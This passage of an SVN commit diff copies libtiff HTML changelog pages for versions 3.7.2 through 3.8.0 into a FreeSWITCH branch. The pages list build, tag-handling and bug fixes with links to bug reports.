+timeframe, or it was not considered important enough to be mentioned.
+The following information is located here:
+<UL>
+<LI><A HREF="#hightlights">Major Changes</A>
+<LI><A HREF="#configure">Changes in the software configuration</A>
+<LI><A HREF="#libtiff">Changes in libtiff</A>
+<LI><A HREF="#tools">Changes in the tools</A>
+<LI><A HREF="#contrib">Changes in the contrib area</A>
+</UL>
+<p> 
+<P><HR WIDTH=65% ALIGN=left>
+
+<!--------------------------------------------------------------------------->
+
+<A NAME="highlights"><B><FONT SIZE=+3>M</FONT>AJOR CHANGES:</B></A>
+
+<UL>
+
+	<li> Maintainance release. Many bugfixes in the build environment
+	and compatibility improvements.
+
+</UL>
+
+
+<P><HR WIDTH=65% ALIGN=left>
+<!--------------------------------------------------------------------------->
+
+<A NAME="configure"><B><FONT SIZE=+3>C</FONT>HANGES IN THE SOFTWARE CONFIGURATION:</B></A>
+
+<UL>
+	<li> configure.ac: Use -rpath option instead of -R as per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=732">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=732</a>
+
+	<li> tif_stream.cxx: Fixes for C++ stream interface from
+	Michael Rinne and Edward Lam.
+
+	<li> configure.ac: Make the documentation directory location
+	configurable via the --with-docdir option (as suggested by
+	Jeremy C. Reed).
+
+	<li> Place the C++ stream API in the separate library called
+	libtiffxx to avoid unneeded dependencies. Probably there will be
+	more C++ API in the future. As per bugs
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=733">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=733</a>
+	and <a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=730">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=730</a>
+	
+	<li> configure, configure.ac: Replace --disable-c++ with the
+	--disable-cxx option as	per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=730">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=730</a>.
+
+</UL>
+
+<P><HR WIDTH=65% ALIGN=left>
+
+<!--------------------------------------------------------------------------->
+
+<A NAME="libtiff"><B><FONT SIZE=+3>C</FONT>HANGES IN LIBTIFF:</B></A>
+
+<UL>
+
+	<li> Applied patch from Lee Howard to support a new tag TIFFTAG_FAXDCS
+	(34911) used in HylaFax software. As per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=771">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=771</a>
+
+	<li> tif_open.c: Remove unnesessary TIFFSeekFile() call as per
+	bug <a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=756">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=756</a>
+
+	<li> tiff.h: Changed the int8 definition to be always signed char
+	as per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=727">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=727</a>
+
+	<li> tiffio.h: Move TIFFOpenW() function into the extern "C"{}
+	block as per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=763">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=763</a>
+
+	<li> tif_dirread.c: Estimate strip size in case of wrong or
+	suspicious values in the tags. As per bugs
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=705">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=705</a>
+	and <a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=320">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=320</a>
+
+	<li> tif_color.c: Use double as the second argument of pow()
+	function in TIFFCIELabToRGBInit(). As per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=741">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=741</a>
+
+	<li> tif_pixarlog.c: Avoid warnings when converting float to
+	integer as per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=740">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=740</a>
+
+	<li> tif_getimage.c: Always fill the error message buffer in
+	TIFFRGBAImageBegin() as per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=739">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=739</a>
+
+	<li> tif_jpeg.c: Added ability to read/write the fax specific
+	TIFFTAG_FAXRECVPARAMS, TIFFTAG_FAXSUBADDRESS and TIFFTAG_FAXRECVTIME
+	tags as per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=736">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=736</a>
+
+	<li> tif_win32.c: Fixed message formatting in functions
+	Win32WarningHandler() and Win32ErrorHandler() as per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=735">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=735</a>
+
+	<li> tiffio.h: Move the color conversion routines in the 'extern
+	"C"' section as per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=727">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=727</a>
+
+	<li> tiff.h: Restore back the workaround for AIX Visual Age C
+	compiler to avoid double definition of BSD types as per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=39">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=39</a>
+
+	<li> tif_getimage.c: More fixes for multiple-alpha-channelled
+	RGB-images as per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=713">
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=713</a>
+
+</UL>
+
+<P><HR WIDTH=65% ALIGN=left>
+
+<!-------------------------------------------------------------------------->
+	
+<A NAME="tools"><B><FONT SIZE=+3>C</FONT>HANGES IN THE TOOLS:</B></A>
+
+<UL>
+
+	<li> tiffcmp.c: Added ability to compare the 32-bit integer and
+	floating point data; complain on unsupported bit depths.
+
+	<li> tiffcmp.c: Use properly sized buffer in short arrays comparison
+	as per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=785">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=785</a>
+
+	<li> fax2ps.c: Replace insecure mktemp() function with the
+	tmpfile() as per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=786">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=786</a>
+
+	<li> tiffgt.c: Fix problem on big-endian CPUs so that images
+	display more correctly.  Images display brighter than they should
+	on a Sun workstation.
+
+	<li> tiff2ps.c: Fixed problem with page sizes as per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=742">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=742</a>
+
+	<li> tiff2ps.c: Interpret the -w and -h options independently. As
+	per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=689">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=689</a>
+
+	<li> tiffdump.c: Fixed problem when read broken TIFFs with the
+	wrong tag counts (Dmitry V. Levin, Martin Pitt).
+
+	<li> tiffset.c: Convert character option to integer value as per
+	bug <a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=725">
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=725</a>.
+
+</UL>
+
+<P><HR WIDTH=65% ALIGN=left>
+
+<!--------------------------------------------------------------------------->
+
+<A NAME="contrib"><B><FONT SIZE=+3>C</FONT>HANGES IN THE CONTRIB AREA:</B></A>
+
+<UL> 
+
+	<li> No changes.
+
+</UL>
+
+Last updated $Date: 2005/03/15 15:17:44 $.
+
+</BODY>
+</HTML>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.7.3.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.7.3.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/v3.7.3.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.7.3.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.7.3.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,230 @@
+<HTML>
+<HEAD>
+<TITLE>
+	Changes in TIFF v3.7.3
+</TITLE>
+</HEAD>
+
+<BODY BGCOLOR=white>
+<FONT FACE="Helvetica, Arial, Sans">
+<FONT FACE="Helvetica, Arial, Sans"> 
+
+<BASEFONT SIZE=4>
+<B><FONT SIZE=+3>T</FONT>IFF <FONT SIZE=+2>C</FONT>HANGE <FONT SIZE=+2>I</FONT>NFORMATION</B>
+<BASEFONT SIZE=3>
+
+<UL>
+<HR SIZE=4 WIDTH=65% ALIGN=left>
+<B>Current Version</B>: v3.7.3<BR>
+<B>Previous Version</B>: <A HREF=v3.7.2.html>v3.7.2</a><BR>
+<B>Master FTP Site</B>: <A HREF="ftp://ftp.remotesensing.org/pub/libtiff">
+ftp.remotesensing.org</a>, directory pub/libtiff</A><BR>
+<B>Master HTTP Site</B>: <A HREF="http://www.remotesensing.org/libtiff">
+http://www.remotesensing.org/libtiff</a> 
+<HR SIZE=4 WIDTH=65% ALIGN=left>
+</UL>
+
+<P>
+This document describes the changes made to the software between the
+<I>previous</I> and <I>current</I> versions (see above).
+If you don't find something listed here, then it was not done in this
+timeframe, or it was not considered important enough to be mentioned.
+The following information is located here:
+<UL>
+<LI><A HREF="#hightlights">Major Changes</A>
+<LI><A HREF="#configure">Changes in the software configuration</A>
+<LI><A HREF="#libtiff">Changes in libtiff</A>
+<LI><A HREF="#tools">Changes in the tools</A>
+<LI><A HREF="#contrib">Changes in the contrib area</A>
+</UL>
+<p> 
+<P><HR WIDTH=65% ALIGN=left>
+
+<!--------------------------------------------------------------------------->
+
+<A NAME="highlights"><B><FONT SIZE=+3>M</FONT>AJOR CHANGES:</B></A>
+
+<UL>
+	<li> Replace runtime endianess check with the compile time one.
+
+	<li> Added support for the new predictor type (floating point
+	predictor), defined at the TIFF Technical Note 3.
+
+	<li> Added Support for custom tags, passed by value.
+	Added support for all DNG tags.
+</UL>
+
+
+<P><HR WIDTH=65% ALIGN=left>
+<!--------------------------------------------------------------------------->
+
+<A NAME="configure"><B><FONT SIZE=+3>C</FONT>HANGES IN THE SOFTWARE CONFIGURATION:</B></A>
+
+<UL>
+	<li> Do not use empty -R option when linking with --enable-rpath.
+
+	<li> Added workaround for OpenBSD/MirOS soname problem as per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=838">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=838</a>
+
+	<li> Fixed parallel compilation of the libtiff and
+	libtiffxx libraries as per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=826">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=826</a>
+
+	<li> configure.ac, libtiff/Makefile.am: Use libtool machinery to pass
+	rpath option.
+
+	<li> make.opt: Build with Win32 CRT library by default.
+</UL>
+
+<P><HR WIDTH=65% ALIGN=left>
+
+<!--------------------------------------------------------------------------->
+
+<A NAME="libtiff"><B><FONT SIZE=+3>C</FONT>HANGES IN LIBTIFF:</B></A>
+
+<UL>
+	<li> tiffiop.h, tif_open.c: Added open option 'h' to avoid reading
+	the first IFD when needed. As per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=875">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=875</a>
+
+	<li> tiff.h: Use correct int size on Sparc 64bit/Sun compiler
+	platform. As per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=855">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=855</a>
+
+	<li> tif_dirinfo.c: Added support for ClipPath, XClipPathUnits
+	and YClipPathUnits tags.
+
+	<li> tif_dirinfo.c, tif_dir.h, tif_dir.c, tif_print.c: Make
+	DocumentName, Artist, HostComputer, ImageDescription, Make, Model,
+	Copyright, DateTime, PageName, TextureFormat, TextureWrapModes and
+	TargetPrinter tags custom.
+
+	<li> tif_jpeg.c: Cleanup the codec state depending on TIFF_CODERSETUP
+	flag (to fix memory leaks).
+
+	<li> tif_dirwrite.c: Use tdir_count when calling
+	TIFFCvtNativeToIEEEDouble() in the TIFFWriteDoubleArray() function as
+	per bug <a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=845">
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=845</a>
+
+	<li> tif_dirinfo.c, tif_print.c: TIFFFetchByteArray() returns
+	uint16 array when fetching the BYTE and SBYTE fields, so we should
+	consider result as pointer to uint16 array and not as array of chars.
+	As per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=831">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=831</a>
+
+	<li> tif_dir.c: More efficient custom tags retrieval as per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=830">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=830</a>
+
+	<li> tif_win32.c: Use FILE_SHARE_READ | FILE_SHARE_WRITE share
+	mode in CreateFile() call as per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=829">
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=829</a>
+
+	<li> tif_jpeg.c: Substantial fix for addtiffo problems with
+	JPEG encoded TIFF files.  Pre-allocate lots of space for jpegtables
+	in directory.
+
+	<li> tif_dirread.c: Changed the code that computes 
+	stripbytecount[0] if it appears bogus to ignore if stripoffset[0] is
+	zero. This is a common case with GDAL indicating a "null" tile/strip.
+
+	<li> tif_jpeg.c: added LIB_JPEG_MK1 support in JPEGDecodeRaw().
+
+	<li> tif_dirread.c: Ensure that broken files with too many
+	values in PerSampleShorts, TIFFFetchPerSampleLongs and
+	TIFFFetchPerSampleAnys work ok instead of crashing.
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=843">
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=843</a>
+
+	<li> tif_predict.h, tif_predict.c: Added ability to decode and encode
+	floating point predictor, as per TIFF Technical Note 3.
+	See http://chriscox.org/TIFF_TN3_Draft2.pdf for details.
+
+	<li> tiffio.h, tiffiop.h, tif_dir.c, tif_read.c, tif_swab.c:
+	Added _TIFFSwab24BitData() and TIFFSwabArrayOfLong() functions used to
+	swap 24-bit floating point values.
+
+	<li> tiff.h: Added predictor constants.
+
+	<li> tiffiop.h, tif_dir.c: Use uint32 type for appropriate values
+	in _TIFFVSetField() function. Inspired by the bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=816">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=816</a>
+
+	<li> tif_open.c: Do not read header in case the output file should
+	be truncated (Ron).
+
+	<li> tif_dirinfo.c, tif_config.h.vc: Use lfind() instead of bsearch()
+	in _TIFFFindFieldInfoByName() function (Ron).
+
+	<li> tif_dir.c, tif_print.c: Properly handle all data types in custom
+	tags.
+
+	<li> dirinfo.c: Added DNG tags.
+
+	<li> tiff.h: Added missed DNG tag (LensInfo); added DNG 1.1.0.0 tags.
+
+	<li> tif_dir.c, tif_print.c: Added Support for custom tags, passed
+	by value.
+
+	<li> tiff.h, tif_dirinfo.c, tiffiop.h: Added EXIF related tags.
+</UL>
+
+<P><HR WIDTH=65% ALIGN=left>
+
+<!-------------------------------------------------------------------------->
+	
+<A NAME="tools"><B><FONT SIZE=+3>C</FONT>HANGES IN THE TOOLS:</B></A>
+
+<UL>
+	<li> tiff2pdf.c: Print two characters per loop in the
+	t2p_write_pdf_trailer(). As per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=594">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=594</a>
+
+	<li> tiffgt.c: Use MacOS X OpenGL framework when appropriate. As
+	per bug <a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=844">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=844</a>
+
+	<li> ppm2tiff.c: Fixed format string when read PPM file header with
+	the fscanf() function. As per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=861">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=861</a>
+
+	<li> tiffsplit.c: Check for JPEGTables tag presence before copying.
+
+	<li> tiff2pdfr.c: Calculate the tile width properly; added new
+	option '-b' to use interpolation in output PDF files (Bruno Ledoux).
+
+	<li> tiffdither.c: Copy the PhotometricInterpretation tag from the
+	input file.
+
+	<li> tif2pdf.c: Fixed problem with alpha channel handling as per
+	bug <a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=794">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=794</a>.
+</UL>
+
+<P><HR WIDTH=65% ALIGN=left>
+
+<!--------------------------------------------------------------------------->
+
+<A NAME="contrib"><B><FONT SIZE=+3>C</FONT>HANGES IN THE CONTRIB AREA:</B></A>
+
+<UL> 
+
+	<li> addtiffo/{tif_overview.c, tif_ovrcache.c, tif_ovrcache.h}:
+	Make overviews working for contiguous images. 
+
+</UL>
+
+Last updated $Date: 2006/01/04 22:04:46 $.
+
+</BODY>
+</HTML>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.7.4.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.7.4.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/v3.7.4.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.7.4.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.7.4.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,133 @@
+<HTML>
+<HEAD>
+<TITLE>
+	Changes in TIFF v3.7.4
+</TITLE>
+</HEAD>
+
+<BODY BGCOLOR=white>
+<FONT FACE="Helvetica, Arial, Sans">
+<FONT FACE="Helvetica, Arial, Sans"> 
+
+<BASEFONT SIZE=4>
+<B><FONT SIZE=+3>T</FONT>IFF <FONT SIZE=+2>C</FONT>HANGE <FONT SIZE=+2>I</FONT>NFORMATION</B>
+<BASEFONT SIZE=3>
+
+<UL>
+<HR SIZE=4 WIDTH=65% ALIGN=left>
+<B>Current Version</B>: v3.7.4<BR>
+<B>Previous Version</B>: <A HREF=v3.7.3.html>v3.7.3</a><BR>
+<B>Master FTP Site</B>: <A HREF="ftp://ftp.remotesensing.org/pub/libtiff">
+ftp.remotesensing.org</a>, directory pub/libtiff</A><BR>
+<B>Master HTTP Site</B>: <A HREF="http://www.remotesensing.org/libtiff">
+http://www.remotesensing.org/libtiff</a> 
+<HR SIZE=4 WIDTH=65% ALIGN=left>
+</UL>
+
+<P>
+This document describes the changes made to the software between the
+<I>previous</I> and <I>current</I> versions (see above).
+If you don't find something listed here, then it was not done in this
+timeframe, or it was not considered important enough to be mentioned.
+The following information is located here:
+<UL>
+<LI><A HREF="#hightlights">Major Changes</A>
+<LI><A HREF="#configure">Changes in the software configuration</A>
+<LI><A HREF="#libtiff">Changes in libtiff</A>
+<LI><A HREF="#tools">Changes in the tools</A>
+<LI><A HREF="#contrib">Changes in the contrib area</A>
+</UL>
+<p> 
+<P><HR WIDTH=65% ALIGN=left>
+
+<!--------------------------------------------------------------------------->
+
+<A NAME="highlights"><B><FONT SIZE=+3>M</FONT>AJOR CHANGES:</B></A>
+
+<UL>
+	<li> Fixed important bug in custom tags handling code..
+</UL>
+
+
+<P><HR WIDTH=65% ALIGN=left>
+<!--------------------------------------------------------------------------->
+
+<A NAME="configure"><B><FONT SIZE=+3>C</FONT>HANGES IN THE SOFTWARE CONFIGURATION:</B></A>
+
+<UL>
+	<li> Applied patch from Patrick Welche (all scripts moved in the
+	'config' and 'm4' directories).
+
+	<li> SConstruct, libtiff/SConstruct: Added the first very preliminary
+	support for SCons software building tool (http://www.scons.org/).
+	This is experimental infrastructure and it will exist along with the
+	autotools stuff.
+
+	<li> port/lfind.c: Added lfind() replacement module.
+</UL>
+
+<P><HR WIDTH=65% ALIGN=left>
+
+<!--------------------------------------------------------------------------->
+
+<A NAME="libtiff"><B><FONT SIZE=+3>C</FONT>HANGES IN LIBTIFF:</B></A>
+
+<UL>
+	<li> tif_dir.c: When prefreeing tv->value in TIFFSetFieldV
+	also set it to NULL to avoid double free when re-setting custom
+	string fields as per:
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=922">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=922</a>
+
+	<li> tif_dir.c: Fixed up support for swapping "double complex"
+	values (128 bits as 2 64 bits doubles).  GDAL gcore tests now
+	pass on bigendian (macosx) system.
+
+	<li> libtiff/{tif_dirread.c, tif_dirinfo.c}: Do not upcast BYTEs to
+	SHORTs in the TIFFFetchByteArray(). Remove TIFFFetchExtraSamples()
+	function, use TIFFFetchNormalTag() instead as per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=831">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=831</a>
+
+	Remove TIFFFetchExtraSamples() function, use TIFFFetchNormalTag()
+	instead.
+
+	<li> tif_print.c: Fixed printing of the BYTE and SBYTE arrays.
+
+	<li> tif_write.c: Do not check the PlanarConfiguration field in
+	the TIFFWriteCheck() function in case of single band images (as per
+	TIFF spec).
+
+	<li> libtiff/{tif_dir.c, tif_dir.h, tif_dirinfo.c, tif_print.c}:
+	Make FieldOfViewCotangent, MatrixWorldToScreen, MatrixWorldToCamera,
+	ImageFullWidth, ImageFullLength and PrimaryChromaticities tags custom.
+</UL>
+
+<P><HR WIDTH=65% ALIGN=left>
+
+<!-------------------------------------------------------------------------->
+	
+<A NAME="tools"><B><FONT SIZE=+3>C</FONT>HANGES IN THE TOOLS:</B></A>
+
+<UL>
+	<li> tiffcp.c: Fixed WhitePoint tag copying.
+</UL>
+
+<P><HR WIDTH=65% ALIGN=left>
+
+<!--------------------------------------------------------------------------->
+
+<A NAME="contrib"><B><FONT SIZE=+3>C</FONT>HANGES IN THE CONTRIB AREA:</B></A>
+
+<UL> 
+	<li> tiffdump.c: Added support for TIFF_IFD datatype.
+
+	<li> addtiffo/{tif_overview.c, tif_ovrcache.c, tif_ovrcache.h}:
+	Make overviews working for contiguous images. 
+
+</UL>
+
+Last updated $Date: 2005/11/03 14:18:43 $.
+
+</BODY>
+</HTML>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.8.0.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.8.0.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/v3.8.0.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.8.0.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.8.0.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,199 @@
+<HTML>
+<HEAD>
+<TITLE>
+	Changes in TIFF v3.8.0
+</TITLE>
+</HEAD>
+
+<BODY BGCOLOR=white>
+<FONT FACE="Helvetica, Arial, Sans">
+<FONT FACE="Helvetica, Arial, Sans"> 
+
+<BASEFONT SIZE=4>
+<B><FONT SIZE=+3>T</FONT>IFF <FONT SIZE=+2>C</FONT>HANGE <FONT SIZE=+2>I</FONT>NFORMATION</B>
+<BASEFONT SIZE=3>
+
+<UL>
+<HR SIZE=4 WIDTH=65% ALIGN=left>
+<B>Current Version</B>: v3.8.0<BR>
+<B>Previous Version</B>: <A HREF=v3.7.4.html>v3.7.4</a><BR>
+<B>Master FTP Site</B>: <A HREF="ftp://ftp.remotesensing.org/pub/libtiff">
+ftp.remotesensing.org</a>, directory pub/libtiff</A><BR>
+<B>Master HTTP Site</B>: <A HREF="http://www.remotesensing.org/libtiff">
+http://www.remotesensing.org/libtiff</a> 
+<HR SIZE=4 WIDTH=65% ALIGN=left>
+</UL>
+
+<P>
+This document describes the changes made to the software between the
+<I>previous</I> and <I>current</I> versions (see above).
+If you don't find something listed here, then it was not done in this
+timeframe, or it was not considered important enough to be mentioned.
+The following information is located here:
+<UL>
+<LI><A HREF="#hightlights">Major Changes</A>
+<LI><A HREF="#configure">Changes in the software configuration</A>
+<LI><A HREF="#libtiff">Changes in libtiff</A>
+<LI><A HREF="#tools">Changes in the tools</A>
+<LI><A HREF="#contrib">Changes in the contrib area</A>
+</UL>
+<p> 
+<P><HR WIDTH=65% ALIGN=left>
+
+<!--------------------------------------------------------------------------->
+
+<A NAME="highlights"><B><FONT SIZE=+3>M</FONT>AJOR CHANGES:</B></A>
+
+<UL>
+	<li> Read-only support for custom directories (e.g. EXIF directory).
+
+	<li> Preliminary support for MS MDI format.
+</UL>
+
+
+<P><HR WIDTH=65% ALIGN=left>
+<!--------------------------------------------------------------------------->
+
+<A NAME="configure"><B><FONT SIZE=+3>C</FONT>HANGES IN THE SOFTWARE CONFIGURATION:</B></A>
+
+<UL>
+	<li> Make the default strip size configurable via the
+	--with-default-strip-size and STRIP_SIZE_DEFAULT options.
+</UL>
+
+<P><HR WIDTH=65% ALIGN=left>
+
+<!--------------------------------------------------------------------------->
+
+<A NAME="libtiff"><B><FONT SIZE=+3>C</FONT>HANGES IN LIBTIFF:</B></A>
+
+<UL>
+	<li> tiffio.h: Added VC_EXTRALEAN definition before including
+	windows.h, to reduce the compile time.
+
+	<li> tif_jpeg.c: Improve compilation under MinGW.
+
+	<li> {tif_aux.c, tif_dir.c, tif_dir.h, tif_dirwrite.c,
+	tif_print.c, tif_getimage.c}: Make InkSet, NumberOfInks, DotRange and
+	StoNits tags custom.
+
+	<li> {tif_aux.c, tif_dir.c, tif_dir.h, tif_print.c}: Make
+	WhitePoint tag custom.
+
+	<li> tiffio.h: fixed typo that potentially resulted in 
+	redefininition of USE_WIN32_FILEIO
+
+	<li> {tif_dir.c, tif_dir.h, tif_print.c}: Make RichTIFFIPTC,
+	Photoshop and ICCProfile tags custom.
+
+	<li> libtiff/*, contrib/*: Added 'dual-mode' error handling, enabling 
+	newer code to get context indicator in error handler and still
+	remain compatible with older code: Done TIFFError calls everywhere 
+	except in tools.
+
+	<li> tiffinfo.c: Print EXIF directory contents if exist.
+
+	<li> {tif_dirinfo.c, tif_dirread.c, tif_dir.h, tif_dir.c}:
+	Custom directory read-only support.
+
+	<li> {tif_aux.c, tif_dirinfo.c, tif_dirread.c, tif_dir.h,
+	tif_dir.c, tif_print.c}: Make YCbCrCoefficients and ReferenceBlackWhite
+	tags custom.
+
+	<li> tif_dirread.c: One more workaround for broken StripByteCounts
+	tag. Handle the case when StripByteCounts array filled with
+	completely wrong values.
+
+	<li> tif_dirinfo.c: Release file descriptor in case of failure
+	in the TIFFOpenW() function as per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=1003">
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=1003</a>
+
+	<li> tif_dirinfo.c: Correctly yse bsearch() and lfind()
+	functions as per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=1008">
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=1008</a>
+
+	<li> tif_open.c, tiff.h, tiffdump.c: Incorporate preliminary support
+	for MS MDI format.
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=1002">
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=1002</a>
+
+	<li> libtiff.def, tiffiop.h, tiffio.h: Made TIFFFreeDirectory
+	public.
+
+	<li> /tif_dirinfo.c: Make XResolution, YResolution and
+	ResolutionUnit tags modifiable during write process. As per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=977">
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=977</a>
+
+	<li> if_dirread.c: Don't try and split single strips into "0" strips
+	in ChopUpSingleUncompressedStrip.  This happens in some degenerate
+	cases (like 1x1 files with stripbytecounts==0 (gtsmall.jp2 embed tiff)
+
+	<li> tif_fax3.c: changed 'at scanline ...' style warning/errors
+	with incorrect use of tif_row, to 'at line ... of
+	strip/tile ...' style.
+</UL>
+
+<P><HR WIDTH=65% ALIGN=left>
+
+<!-------------------------------------------------------------------------->
+	
+<A NAME="tools"><B><FONT SIZE=+3>C</FONT>HANGES IN THE TOOLS:</B></A>
+
+<UL>
+	<li> tiffcp.c: Added many error reporting messages; fixed integer
+	overflow as per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=789">
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=789</a>
+
+	<li> tiffcp.c: Return non-zero status when reading fails.
+
+	<li> fax2tiff.c: Properly calculate sizes of temporary arrays
+	as per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=943">
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=943</a>
+
+	<li> fax2tiff.c: Added option '-r' to set RowsPerStrip parameter
+	as per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=944">
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=944</a>
+
+	<li> tiffdump.c: Fixed typeshift and typemask arrays initialization
+	problem as per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=946">
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=946</a>
+
+	<li> bmp2tiff.c: Fixed possible integer overflow error as per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=965">
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=965</a>
+
+	<li> tiffsplit.c: Copy fax related fields over splitted parts
+	as per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=983">
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=983</a>
+
+	<li> tiffdump.c: Fixed crash when reading malformed tags.
+
+	<li> tiff2pdf.c: Added missed 'break' statement as per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=932">
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=932</a>
+</UL>
+
+<P><HR WIDTH=65% ALIGN=left>
+
+<!--------------------------------------------------------------------------->
+
+<A NAME="contrib"><B><FONT SIZE=+3>C</FONT>HANGES IN THE CONTRIB AREA:</B></A>
+
+<UL> 
+	<li> contrib/addtiffo/*: Major upgrade by Joris to support subsampled
